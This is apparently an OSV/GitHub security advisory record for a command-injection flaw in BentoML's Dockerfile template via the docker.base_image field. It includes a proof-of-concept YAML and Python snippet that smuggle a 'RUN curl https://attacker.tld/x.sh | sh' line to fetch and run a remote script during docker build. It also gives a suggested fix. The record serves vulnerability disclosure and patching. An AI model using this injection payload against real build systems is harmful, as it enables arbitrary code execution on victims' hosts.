{"id":"GHSA-78f9-r8mh-4xm2","summary":"BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)","details":"The same Dockerfile template that mishandles `envs[*].name` (pending GHSA-w2pm-x38x-jp44) also interpolates `docker.base_image` raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line `docker.base_image` value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and `bentoml containerize` then runs `docker build` which executes the injected `RUN` directives on the victim host.\n\n## Vulnerable code\n\n`src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38` (current main, 2026-04-28):\n\n```jinja\nFROM {{ __options__base_image }} AS base-container\n```\n\n`__options__base_image` resolves to `DockerOptions.base_image` (`src/bentoml/_internal/bento/build_config.py:176`):\n\n```python\nbase_image: t.Optional[str] = None\n```\n\nNo `validator`, no `converter`, no newline check. The value is loaded straight from `bento.yaml` in `src/bentoml/_internal/container/__init__.py:206` via `DockerOptions(**docker_attrs)` and rendered as-is.\n\n## PoC\n\nMalicious `bentofile.yaml`:\n\n```yaml\ndocker:\n  base_image: |\n    python:3.10\n    RUN curl https://attacker.tld/x.sh | sh\n    FROM scratch\n```\n\nMinimal reproduction of the unsafe interpolation:\n\n```python\nfrom jinja2 import Environment\nenv = Environment()\nmalicious = 'python:3.10\\nRUN curl https://attacker.tld/x.sh | sh\\nFROM scratch'\nout = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious)\nprint(out)\n```\n\nOutput:\n\n```\nFROM python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch AS base-container\n```\n\nThree valid Dockerfile directives instead of one. The `RUN curl` executes during `docker build`. The trailing `FROM scratch AS base-container` provides the named build stage the rest of the template depends on, so the build proceeds without error.\n\n## Impact\n\nIdentical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during `bentoml containerize` of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects `docker.base_image` to be a Docker image reference, not a Dockerfile fragment.\n\n## Suggested fix\n\nValidate `DockerOptions.base_image` at the config layer: reject any value containing newline characters (`\\n`, `\\r`) or whitespace beyond a single space-separated tag. A regex like `^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$` covers the practical Docker reference format.\n\nThe same hardening should be extended to other unvalidated fields interpolated raw in `base_v2.j2`:\n\n* `__options__build_include[*]` at line 97 (`COPY ... ./src/{{ name }} ./src/{{ name }}`) — same newline-injection class for path entries from `Image.build_include(*file_paths)`.\n* `bento__user`, `bento__uid_gid`, `bento__path`, `bento__home`, `bento__entrypoint` — currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through `override_bento_env`.\n\n## References\n\n* Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043.\n* CWE-78: https://cwe.mitre.org/data/definitions/78.html","aliases":["CVE-2026-44345","PYSEC-2026-189"],"modified":"2026-06-09T00:00:24.171992237Z","published":"2026-05-11T14:27:06Z","database_specific":{"nvd_published_at":"2026-05-27T18:16:23Z","cwe_ids":["CWE-78"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-05-11T14:27:06Z"},"references":[{"type":"WEB","url":"https://github.com/bentoml/BentoML/security/advisories/GHSA-78f9-r8mh-4xm2"},{"type":"WEB","url":"https://github.com/bentoml/BentoML/security/advisories/GHSA-w2pm-x38x-jp44"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44345"},{"type":"PACKAGE","url":"https://github.com/bentoml/BentoML"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-189.yaml"}],"affected":[{"package":{"name":"bentoml","ecosystem":"PyPI","purl":"pkg:pypi/bentoml"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.39"}]}],"versions":["0.0.1","0.0.2","0.0.3","0.0.5","0.0.6a0","0.0.7","0.0.7.dev0","0.0.8","0.0.8.post1","0.0.9","0.1.1","0.1.2","0.10.0","0.10.1","0.11.0","0.11.dev0","0.12.0","0.12.1","0.13.0","0.13.1","0.13.2","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.3.3","0.3.4","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.7","0.4.8","0.4.9","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.6.0","0.6.1","0.6.2","0.6.3","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.7.8","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.9.0","0.9.0rc0","0.9.1","0.9.2","1.0.0","1.0.0.dev0","1.0.0.dev1","1.0.0a1","1.0.0a2","1.0.0a3","1.0.0a4","1.0.0a5","1.0.0a6","1.0.0a7","1.0.0rc0","1.0.0rc1","1.0.0rc2","1.0.0rc3","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.15","1.0.16","1.0.17","1.0.18","1.0.19","1.0.2","1.0.20","1.0.21","1.0.22","1.0.23","1.0.24","1.0.25","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.1.10","1.1.11","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.2.0","1.2.0a0","1.2.0a1","1.2.0a2","1.2.0a3","1.2.0a4","1.2.0a5","1.2.0a6","1.2.0a7","1.2.0rc1","1.2.1","1.2.10","1.2.11","1.2.12","1.2.13","1.2.14","1.2.15","1.2.16","1.2.17","1.2.18","1.2.19","1.2.1a1","1.2.2","1.2.20","1.2.3","1.2.4","1.2.5","1.2.6","1.2.7","1.2.8","1.2.9","1.3.0","1.3.0a1","1.3.0a2","1.3.0a3","1.3.1","1.3.10","1.3.11","1.3.12","1.3.13","1.3.14","1.3.15","1.3.16","1.3.17","1.3.18","1.3.19","1.3.2","1.3.20","1.3.21","1.3.22","1.3.3","1.3.4.post1","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.0a1","1.4.0a2","1.4.1","1.4.10","1.4.11","1.4.12","1.4.13","1.4.14","1.4.15","1.4.16","1.4.17","1.4.18","1.4.19","1.4.2","1.4.20","1.4.21","1.4.22","1.4.23","1.4.24","1.4.25","1.4.26","1.4.27","1.4.28","1.4.29","1.4.3","1.4.30","1.4.31","1.4.32","1.4.33","1.4.34","1.4.35","1.4.36","1.4.37","1.4.38","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9"],"database_specific":{"last_known_affected_version_range":"\u003c= 1.4.38","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-78f9-r8mh-4xm2/GHSA-78f9-r8mh-4xm2.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]}